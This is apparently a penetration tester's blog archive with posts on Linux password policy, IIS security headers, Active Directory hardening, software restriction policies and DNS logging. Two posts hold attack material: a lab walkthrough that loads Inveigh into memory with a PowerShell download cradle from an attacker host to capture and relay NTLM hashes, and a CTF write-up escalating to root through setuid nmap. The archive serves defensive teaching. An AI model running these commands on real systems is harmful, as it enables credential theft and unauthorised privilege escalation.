Author: ACouch

For me, Information Security, Computing and understanding how things work is a mindset, a hobby and a profession. As you may have guessed my name is Adam Couch. I currently work as Cyber Security Consultant specialising in penetration testing. A Cyber Scheme Team Member, performing penetration tests, ITHC for PSN, CHECK tests, server/workstation/Switch/Router and Firewall build reviews/security hardening and web application testing.
Posted on

Linux Password Policy – Using PAM, pam_unix and pam_cracklib with Ubuntu Server 18.04.1

Linux Password Policy is often overlooked. This post is to raise awareness how we can up our game in terms of password complexity for Linux systems. Setting up password complexity in Linux specifically Ubuntu Server more specifically 18.04.1 is achieved through Pluggable Authentication Modules (PAM). To authenticate a user, an application such as ssh hands off the authentication mechanism to PAM to determine if the credentials are correct. There are various modules that can be modified within PAM to set-up aspects like password complexity and account lockout and other restrictions. We can check what modules are installed by issuing:

sudo man -k pam_

By default Ubuntu requires a minimum of 6 characters. In Ubuntu this is controlled by the module pam_unix which is used for traditional password authentication, this is configured in debain/ubuntu systems in the file /etc/pam.d/common-password (RedHat/Centos systems its/etc/pam.d/system-auth). Modules work in a rule/stack manner processing one rule then another depending on the control arguments. An amount of configuration can be done in the pam_unix module, however for more granular control there is another module called pam_cracklib. This allows for all the specific control that one might want for a secure complex password.

A basic set of requirements for password complexity might be:

A minimum of one upper case
A minimum of one lower case
A minimum of least one digit
A minimum of one special character
A minimum of 15 characters
Password History 15

Lets work through on a test Ubuntu 18.04.1 server how we would implement this. First install pam_cracklib, this is a ‘pluggable authentication module’ which can be used in the password stack. ‘Pam_cracklib’, will check for specific password criteria, based on default values and what you specify. For example by default it will run through a routine to see if the password is part of a dictionary and then go on to check for your specifics that you may have set like password length.

First lets install the module, it is available in the Ubuntu repository:

sudo apt install libpam-cracklib

The install process will automatically add a line into the /etc/pam.d/common-password file that is used for the additional password control. I’ve highlight it below:

Password complexity in Linux

We can then further modify this line for additional complexity. working on the above criteria we would add:

ucredit=-1 : A minimum of one upper case
lcredit=-1 : A minimum of one lower case
dcredit=-1 : A minimum of least one digit
ocredit=-1 : A minimum of one special character
minlen=15 : A minimum of 15 characters.

note the -1 number represents a minimum value to subtract from the minlen value. There is nothing to stop you incresing this, for example ocredit=-3 would require the user to add 3 special characters.

Password history is actually controlled by pam_unix so we will touch on this separately.

Default values that get added are:

retry=3 : Prompt user at most 3 times before returning an error. The default is 1.
minlen=8 : A minimum of 15 characters.
difok=3 : The amount of character changes in the new password that differentiate it from the old password.

Our new arguments would be something like this:

password requisite pam_cracklib.so retry=3 minlen=15 difok=3 ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1

For password history first we need to create a new file for pam_unix to store old passwords (hashed of course). Without this password changes will fail.

touch /etc/security/opasswd
chown root:root /etc/security/opasswd
chmod 600 /etc/security/opasswd

Add the ‘remeber=15‘ to the end of the pam_unix line and your done, at least for now. Both lines should look like this:

These changes are instant, no need to reboot or restart any service.

Now all that is left to do is test your new password policy. Whilst this does provide good password complexity I would always suggest you use a public/private key pair for SSH access and disable password authentication specifically for this service.

I hope this helps.

Posted on

Traffic Shaping in Linux – controlling your bandwidth

In certain scenarios whilst pentesting there may be a requirement to control your bandwidth from your testing device, otherwise known as traffic shaping. In this post I will walk through how we can do some Traffic Shaping in Linux. All testers should be accountable for the amount of traffic they generate while testing. This is easily achievable in a few different ways, some better than others. I’ll walk through how we can achieve this in this post. It is always a good idea to log and monitor the amount of traffic you are sending and receiving. I will typically do this with ‘iftop’, I will open this before sending any traffic.

iftop looks like this:

Here we can see sent, received and total accumulation in the bottom left.  In the bottom middle are the peak rates. Over to the right hand side we can see the transmission rates for 2, 10 and 40 second intervals. Couple of interesting toggle switches you can use while iftop is open being ‘h’ for help, ‘p’ to display port and ‘s’ and ‘d’ to hide/show source and destination.

On to the traffic shaping.  In most Linux distros Tc (traffic control) is available, this can be used to configure traffic manipulation at the Linux kernel level. Tc is packaged with iproute2 the shiny new(ish) tool set for configuring networking in Linux.

In my view Tc is reasonably complex to configure if you simply need to reduce your bandwidth for an interface. Enter Wondershaper. Wondershaper allows you to limit your bandwidth in a simple manner. It does this using Tc. Wondershaper is available through the Apt repository where Apt is being used.

You can limit your traffic on an interface to 10Mbps upload and download like below. Values are in bits.

wondershaper [interface] [downlink] [uplink]

wondershaper  eth2 10000 10000

To clear the limits set:

wondershaper clear

To see the limits set use:

wondershaper eth2

Testing…

Using iPerf we can test the bandwidth reduction by wondershaper. The setup that I am using for this test is two virtual machines with two cheap physical USB 10/100 Ethernet adapters passed through to each virtual machine and physically connected via an Ethernet cable. Interfaces are set to 100 Full. Running iperf with no restrictions give us the following results:

I’m not surprised by the 55.5Mbits/sec rate.

Throttling our connection to 10Mbits/sec with wondershaper:

Great, we see a distinct change in bandwidth running consistently across 10 seconds lower than 10 Mbits/sec.

Throttling the connection further to 1 Mbit/sec:

And again we see our bandwidth dropping further to less than 1Mbit/sec.

Other ways I have seen been offered up as solutions are turning auto-negotiate off and setting your link speed and duplex. However I would argue this is not traffic shaping. It may work in certain circumstances, however I have had mixed success with virtual machines. This doesn’t give you the granular control of Tc and wondershaper.

Conclusion: A very useful tool for controlling your bandwidth in Linux. For a quick fix use wondershaper for either more granular control dive in and configure Tc manually.

Posted on

Hardening Microsoft IIS 8.5 Security Headers

In this post we will walk through how to implement some of the most common security headers that crop up in Microsoft IIS 8.5 web application testing. Typically Burp, zap nikto will highlight missing security headers. I have covered some of these for Apache in earlier posts here. Now its time for the same treatment in IIS. Some of the headers I will look at in this session are:

X-Frame-Options header – This can help prevent the clickjacking vulnerability by instructing the browser not to in bed the page in an iframe.
X-XSS-Protection header – This can help prevent some cross site scripting attacks.
X-Content-Type-Options header – This will deny content sniffing.
Content-Security-Policy – This can help prevent various attacks by telling the browser to only load content from the sources you specify. In this example I will only specify the source, ie my webpage however if you have content being pulled from youtube for example you will want to add this site also.
HTTP Strict Transport Security header – This will tell the browser to only ever load https only, once the site has been visited.

Corresponding values for the above headers are described below.

In order to lab this up we will use a vanilla Windows Server 2012 R2 server that has had the IIS role installed and configured and is serving just a simple single page running over HTTPS (only with a self signed cert for testing purposes), which looks like this:

With completely standard configuration output from Nikto would give us the following results:

OWASP Zap would give us similar results (I did this whilst still on http, however you get the idea):

Granted there is next to nothing to actually scan on this pages, however this is really only designed to demonstrate how to implement the security headers.

In the IIS console we will want to select the ‘HTTP Response Headers’, you can do this at the site level as I have done or at the webserver level which will affect all sites.

Next select Add from the left hand side:

First we will add X-XXS-Protection security header, here we can use the value of ‘1;mode=block’, this essentially means we will turn the feature on and if detected block it. Other basic options consist of ‘1’ to enable or ‘0’ to set the header however disable the feature :

Next the X-Frame-Options security header, here we can use the value of ‘DENY’ to prevent any content embedding, however this maybe too strict otherwise there is ‘SAMEORIGIN’ to allow content from your site, another option is to use ‘ALLOW-FROM’ to allow content framing from another site:

Next the X-Content-Type-Options security header, here we can use the value of ‘nosniff’:

The content security policy header, here we are specifying a very basic policy to only load content from the source:

The HTTP Strict Transport Security header, here we are setting the max age the browser should honour the header request, to include all subdomains and the preload essentially means that if HTTP site is available only load via HTTPS so on a second visit load the config first before hitting the site:

Re-running nikto gives us the following output, much better!

Hopefully this has helped harden your IIS web server just that little bit more!

 

Posted on

Securing Domain Admins Groups in Active Directory

This is just a quick post to raise awareness of one way we can help protect our Domain Admins Group in Active Directory. I have talked previously about privilege separation and the need within the Enterprise to reduce the credential foot print of high privilege accounts. As Microsoft describes in this particular article discussing best practices, Domain Admin accounts should only be used for build and disaster recovery scenarios and should not be used for day to day activities. By following this simple rule you are mitigating against having Domain Admin credentials being cached on workstations or member servers, and therefore less likely to be dumped out of memory should the box become compromised.

We can secure the Domain Admins group for both member workstations and member servers with the following Group Policy Objects from the following user rights policy in Computer Configuration\Policies\Windows Settings\Security Settings\Local Settings\User Rights Assignments:

  • Deny access to this computer from the network
  • Deny log on as a batch job
  • Deny log on as a service
  • Deny log on locally
  • Deny log on through Remote Desktop Services user rights

Lets take a closer look and create the policy:

In our Group Policy Management console we will start off with a new policy:

Right click on the policy and click edit. Find the first policy ‘Deny access to this computer from the network’. Open it up and add the Domain Admins group to the list. Click ‘OK’.

Rinse and Repeat for the remaining policies:

Link the policy through to your computers and member workstations. Remember if your using ‘Jump boxes’ to administer your domain controllers you will need to create an exception for these and  with a different policy.

This is one small piece in a massive jigsaw of securing AD. However I hope this helps, for further reading visit https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-f–securing-domain-admins-groups-in-active-directory .

 

Posted on

NTLM/NTLMv2 Relaying in Windows with PowerShell and Inveigh!

In this post we will be looking at NTLM/NTLMv2 Relaying in Windows with PowerShell and Inveigh! Whats this all about then, and why should I be bothered by it? For a penetration tester Responder by Laurent Gaffie http://www.spiderlabs.com is a great tool for responding to LLMNR (Link Layer Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) queries from workstations and servers on the same subnet. Ultimately being able to capture NTLM/NTLMv2 user names and password hashes on the wire, also being able to relay these credentials onto another host for authentication. I’ve talked about this before here so won’t go into the specifics in this post. This tool is not meant to work on Windows, and is specifically designed to work in Linux, Kali. Inveigh is a windows based version of this written for PowerShell  by Kevin Robertson and can be found here https://github.com/Kevin-Robertson/Inveigh. This is particular useful in many situations. It allows you to test this vulnerability in windows from an attack machine, however more importantly if you compromise a Windows workstation you may be able to download the PowerShell script to the target machine, worse load it straight into memory with an IEX call and carry out the attack from this machine. Further to this imagine the scenario where by the target machine is a pivot point into another network i.e. dual homed.

Lets dig into the action and see it working. In this lab we have a Domain Controller, two Windows machines and WebServer. The Webserver is dual homed with 1 nic into the corp network on 10.0.2.0/24 and the other into the DMZ on 10.0.10.0/24, all other machines reside in the corp network. We will imagine the Webserver  has been compromised through some exploit and we have rdp access at admin level out through the DMZ. We will stage the Inveigh code into memory on the compromised host and attempt to poison LLMNR and NBT-NS requests on the leg into the corporate network. This is a run down of the machines:

Webserver (compromised) nic 2 10.0.2.28 nic 1 10.0.10.28 (non-domain joined)
W7-1 nic 10.0.2.110 (Test.com\W10)
W10-2 nic 10.0.2.111 (Test.com\W10-2)
DC nic 10.0.2.100 (Test.com\DC1)

On the Webserver we will start off by downloading Inveigh in PowerShell and loading it into memory with:

IEX (New-Object Net.WebClient).DownloadString(“http://10.0.10.29:8080/Scripts/Inveigh.ps1”)

For the sake of the Lab we will assume our attacking box 10.0.10.29 is out on the internet.

Now we will invoke the function Inveigh, we will use some added options, note we are specifying the corporate network adapter with the parameter -IP. This will allow us to poison requests for the corporate network:

Invoke-Inveigh -IP 10.0.2.28 -ConsoleOutput Y -NBNS Y

 Mean while our W10-2 machine makes a request to the DC for the resource \\fileserver1.
This resource doesn’t exist in our network and so the windows 10 machine makes a multicast name request across the network, first with NBT-NS then through LLMNR, we can more clearly see this taking place in Wireshark.
At this point our Webserver running Inveigh responds to the request:
 The SMB challenge response takes place:
And bingo! W10-2 sends its NTLMv2 creds over the wire to the Webserver where they are captured:
We can then take this user name and hash and run it through John the Ripper or Hashcat for further use.
You can stop Inveigh by pressing any key then issuing ‘Stop-Inveigh’.
There are other command line parameters that can be passed with the Inveigh script, switching options on and off for example ‘ConsoleOutput -Y’ will output any captured user names and hashes to stdout.
There is also the option to relay the NTLM/NTLMv2 hashes through to another Windows system. This can be done by additionally loading ‘InveighRelay.ps1’ into powershell then first ‘Invoke-Inveigh’ and then ‘Invoke-InveighRelay. The second Invoke-InveighRelay command might look something like this:
Invoke-InveighRelay -ConsoleOutput Y -Target 10.0.2.110 -Command “…..”
The ‘-Command’ parameter can take an array of commands including a launcher from PowerShell Empire as well as other PowerShell commands.
How do we fix this? And stop it from happening?

Firstly enable SMB signing, this does give a slight performance hit however in my opinion worth the sacrafice. Secondly disable LLMNR and NBT-NS, these are old methods for name resolution. You may have legacy applications in your environment that may potentially still use LLMNR and NBT-NS for broadcast name resolution. Due to this thorough testing should be carried out first. If this is the case get onto the vendor for some answers as to why! Otherwise we can disable both LLMNR and NBT-NS via GPO. We can also enable SMB Signing via GPO.  For LLMNR and SMB Signing there are native GPO setting. For NBT-NS there is no native GPO setting however it can be set in the registry. The registry key references an interface name which has its own unique GUID so can’t be changed in GPO via a registry key change (as the key will be different every time), however we can use powershell and do a ‘catch all’ on that key and thus script and then run via GPO. I’ll demonstrate below.

You can disable LLMNR via Group Policy in your domain or locally, go to:

Computer Policy -> Computer Configuration -> Administrative Templates -> Network -> DNS Client

In the DNS Client settings select “Turn Off Multicast Name Resolution” and set it to ‘Enable’ like below:

Disabling LLMNR

Disabling NBT-NS can be done in the windows networking as shown below:

On the ‘Advanced TCP/IP Settings’ screen select ‘Disable’ radio button for ‘NetBIOS over TCP/IP’.

Disabling NBT-NS

Changing the above will make the following change in the registry, value data 2 is for disable, 0 is the default setting:

NBT-NS disable via registry

Which in turn can be changed via powershell with the following line, this will change all interfaces (notice the tcpip* for the catch all):

set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces\tcpip* -Name NetbiosOptions -Value 2

The below script can be set to run at startup via GPO:

$adapters=(gwmi win32_networkadapterconfiguration )
Foreach ($adapter in $adapters){
$adapter.settcpipnetbios(2)
}

If we disable NBT-NS first and re-try the whole scenario by requesting a resource of ‘\\fileserver2’ we can see in wireshark that no NBT-NS requests are sent, only LLMNR.

If we disable LLMNR via GPO and re-try requesting \\fileserver3 we now see no LLMNR or NBT-NS requests. Great!

 I hope this has been helpful for someone!
Posted on

Linux Privilege Escalation with Setuid and Nmap

I recently completed a CTF ‘boot to root’ style virtual machine from vulnhub.com and encountered an interesting privilege escalation technique that I thought I would share. Vulnhub is a lot of fun check it out for practice, I’ve recently had a lot of fun with online and offline virtual machine CTF’s and continue to learn a lot. To cut a long story short, I ended up landing a limited user shell on a Linux web server through a php script back to meterpreter. I dropped into a shell from meterpreter, the user had limited access. I was essentially logged in as the web server deamon user id. I started off going through the usual Linux enumeration, gathering some basic information, getting my bearings. A few tasks later on, I started to look at how I could escalate my privileges. I started  looking at files in the file system that could be executed as root. I was specifically looking for executable files where the setuid parameter was marked and where the owner was root. This essentially means when the program is executed it is executed in the permission of the owner of the file (where the EUID, the Effective User ID is root), in this case root. We would look for these types of file with the below find command:

find / -user root -perm -4000 -exec ls -la {} \;

Breaking the above command down:

find – the find command 😉
/ – this is where we are looking in the file system, ie in the root.
-user root – looking for files with the owner of root.
-perm -4000 – looking for where the permissions of file are set to 4000
– exec ls -la – executing the commands ls -la. So we can see additional info.

In the list of files returned I came across the below:

-rwsr-xr-x 1 root root 2355411 2014-10-20 08:54 /usr/local/bin/nmap

I was able to abuse the above by executing nmap in the context of root. Nmap is set this way as it needs to run in the context of root to be able to perform its many functions. This version of Nmap has an interactive mode, where we are able to execute commands (you can already guess where this is going!). This can be called with ‘nmap –interactive’ which then gives us a special prompt ‘nmap>’. With this prompt we can then execute commands with an ! in front. Even drop into a shell with an EUID as root.

nmap --interactive

nmap> !whoami
!whoami
root
waiting to reap child : No child processes
nmap> !sh
!sh
# id
id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
#

As we can see from the id output the ‘UID’ ie the ‘user id’ is ‘robot’ however the ‘EUID’ ie the ‘effective user id’ is root. Yay!

Well hopes this small snippet of info helps. Happy New Year to all!

Posted on

Software Restriction Policies in Microsoft Windows for basic Application White Listing.

A walk through of how we can set-up Software Restriction Policies in Microsoft Windows for basic application white listing. Software Restriction Policies have been around a while. I don’t see it being used often enough in environments considering the benefits it gives. Software restriction policies (SRP) gives us the ability to control what can be executed in certain areas of the file system. For example we can block the successfully execution of .bat file or a .exe file located on a users Desktop or Downloads folder. As you start to think about this concept more, it starts to make more sense why you would want to set this up, not only enterprise users but also for home users. When you think about malware and ‘crypto’ type ware and how easily these files are executed, blocking their execution from common folder locations makes even more sense. This is more about lessening the risk, mitigating the opportunity for unwanted binary and container files from being able to execute. SRP has been around since XP and Server 2003, it can be setup through Group Policy or alternatively for a workgroup environment you can setup on individual machines through the local policy editor in the same way as GPO. SRP could be classified as white listing and black listing. The white listing approach in my view being the more favourable. This also works as an effective control for Cyber Essentials Plus, downloading and email ingress tests.

At this point I hear many System Admins saying ‘no chance’ or ‘what a nightmare’ to configure on a large estate. To an extent there will be some pain involved in setting something like this up, needing to add exceptions for valid exe files for example may need to be made. In my view the protection of SRP far out weighs the initial pain of setting it up.

Lets have a look at how we can  go about setting up SRP in white listing mode. We will demonstrate how we can set this up in its simplest form with a basic example that you can expand upon.

First on our Domain Controller lets create a new Group Policy and find the ‘Software Restriction Policies’ folder under Computer Configuration –> Windows Settings –> Security Settings –> Software Restriction Policies like below. If you don’t have a Domain Controller we can set this up through the local security policy editor. You will notice a message in the right pane saying that no policy is defined.

Application White Listing

With the Software Restriction Policies folder selected, go ahead and select Action from the menu and select ‘New Software Restriction Policies’:

Your presented with the below:

Under ‘Security Levels’ your presented with three options:

Disallowed: This is essentially our white listing mode which blocks all be default. We then add specific unrestricted rules such as C:\Windows.
Basic User: This is essentially the same as unrestricted.
Unrestricted: This is our black listing mode which allows all be default which then allows specific rules that we want to black list.

You may initially be thinking, lets try blacklisting a few locations first ‘the least restrictive option to start with’, I believe this to be a mistake and will cause more issue later on down the road. For example if we set the security level to unrestricted, then black list the location C:\Users\John\AppData\*.exe with ‘disallowed’ you wouldn’t then be able to allow a specific valid exe from running in  C:\Users\John\AppData\Microsoft for example. In Microsoft’s world a deny trumps an allow. You would then find yourself having to block specific exe’s which is far from ideal.

White listing it is.

Moving on we can set the Security Level by right clicking on the level and selecting ‘Set as default’. Next accept the warning that will pop up, this is warning you that the level is more restrictive than the current level:

 

 

 

You should now have a small tick on Disallowed.

Lets now look at the ‘Enforcement’. Right click on Enforcement and select properties. We want to select ‘All Software files’ for maximum protection, we don’t want to just block libraries such as DLLs. In addition to this select ‘All users except local administrators’. This will allow local administrators to bypass the restriction policy, so will be able to install legitimate software when needed, by right clicking and selecting ‘Run as Administrator’ and the exe file.

Software Restriction Policies Enforcement

Next lets look at the type of files we want to guard against. Right click on ‘Designated File Types’, you can add various file types to this list, however one that we will want to remove is LNK files. Why? Well if we are looking to white list and block by default any short cut files ie .lnk files on a users desktop will not be able to execute.

Now go to additional rules.

For a basic policy that is going to make a difference start with the following rules.  The first two rules are set by default. Here we are allowing files to execute from Program files and and the Windows directory. After all we do want our users to be able to actually use the computer, right?.. files in these directories will naturally want to execute. (Remember this is just an example, in an ideal world you would go through and specify each valid exe file you want your users to be able to execute.)

Next we will apply this to a specific targeted group of computers for testing.

On our Windows 7 machine we try to execute the program ‘SolarWindds-TFTP-Server.exe’ from the desktop. This location is blocked by our policy as we selected the more restrictive mode of ‘disallow’ as the default action. We are immediately greeted by an error message explaining the exe has be blocked by policy. Great.

If we dig a little deeper, we can identify this action in the Application event log in the event viewer under event id 865, SoftwareRestrictionPolcies. This should make troubleshooting if a valid exe is being blocked significantly more easier.

So what do we do if we need to white list this exe as an example. OK so go back into our GPO settings, under additional rules we simple add a new path rule like below making it ‘Unrestricted’. Note at this point I have added a comment, this will help for auditing purposes:

If we reboot our test machine and try to execute the exe file it will now be able to execute.

As an additional example look at how we might use SRP to block a user from running cmd.exe and PowerShell.exe. Remember you will want to block ISE as well so we will block cmd.exe explicitly and the Windows PowerShell folder as a catch all. Remeber this time we are using the ‘Disallowed’ Security Level.

And here we see it in action blocking cmd.exe explicitly:

And PowerShell at the folder level in order to also block PowerShell ISE and other variants :

Careful with these two though, while it might seem immediately the right thing to do, you may run into potential login script type issues later on. Whilst this seems the right thing there are various ways of getting around these being blocked. Testing is key.

Hopefully this demonstration has shown how easy SRP can be to setup and the valuable protection it can provide. This isn’t a perfect solution by any means however will go along way to offering good sound protection to user environments for very little cost.

Posted on

Quick Tip: Optimizing your bash history settings for Linux terminal.

In this post I go through how I optimise my bash history. I hope this helps!

Bash history is invaluable. It helps you check that command you ran and now can’t remember, or lookup a command that you ran for a specific task. With this in mind optimising the way your bash history works makes sense. Here is what I have found to work really well:

  • Infinite history.
  • Infinite history file size.
  • Time and date stamp the command (useful although does clutter the output)
  • Forcing every command to write immediately to the history file. (a must, as commands won’t get written to the history if bash doesn’t have a clean exit)
  • Change location of history file.

Open up your .bashrc file in your favourite text editor, nano for me. Comment out the current bash history settings for file and size and add the following to the bottom of the file.

export HISTFILESIZE=
export HISTSIZE=
export HISTTIMEFORMAT="[%F %T] "
export HISTFILE=~/.bash_supersize_history
PROMPT_COMMAND="history -a; $PROMPT_COMMAND"
Posted on

Enabling Active Directory DNS query logging

Quick Tip: Enabling Active Directory DNS query logging for Windows Server 2012 R2.

DNS query logging isn’t enabled by default in Windows Server 2012 R2 within the DNS server role. DNS ‘events’ are enabled by default just not activity events which capture lookup’s from users machine for example. This is super useful for incident response type scenarios, investigations, troubleshooting and not to mention malware or crypto type ware that’s looking to phone home to command and control. We can enable it like so:

Firstly there is a hotfix that needs to be applied to Windows Server 2012 R2 this can be found here http://support.microsoft.com/kb/2956577 you can read more about this here. This essential adds query logging and change auditing to Windows DNS servers.

Next go to the event viewer, under ‘Application and Services’, ‘Microsoft’. ‘Windows’, right click on ‘DNS-Server’ select ‘View’ following it across and select ‘Show Analystic and Debug Logs’ like below:

(Note you will actually need to left click on ‘DNS-Server’ first then right click on it otherwise the view option won’t show up.)

This will display the Analytical log, right click on this and select properties, enable logging and Do not overwrite events. Like below:

Click ok and your done.

We can verify the query logging is working in our lab by simple making a DNS request from a workstation, we will see the query in the event view under the ‘Analytical’ log like below:

Super. Now we can see which workstation IP address has made the query, and what exactly is being queried. In the above example we can see that a destination address, 10.0.2.25 a Windows 7 domain joined workstation has requested adamcouch.co.uk. Dns query Logs, yay! Hope this helps.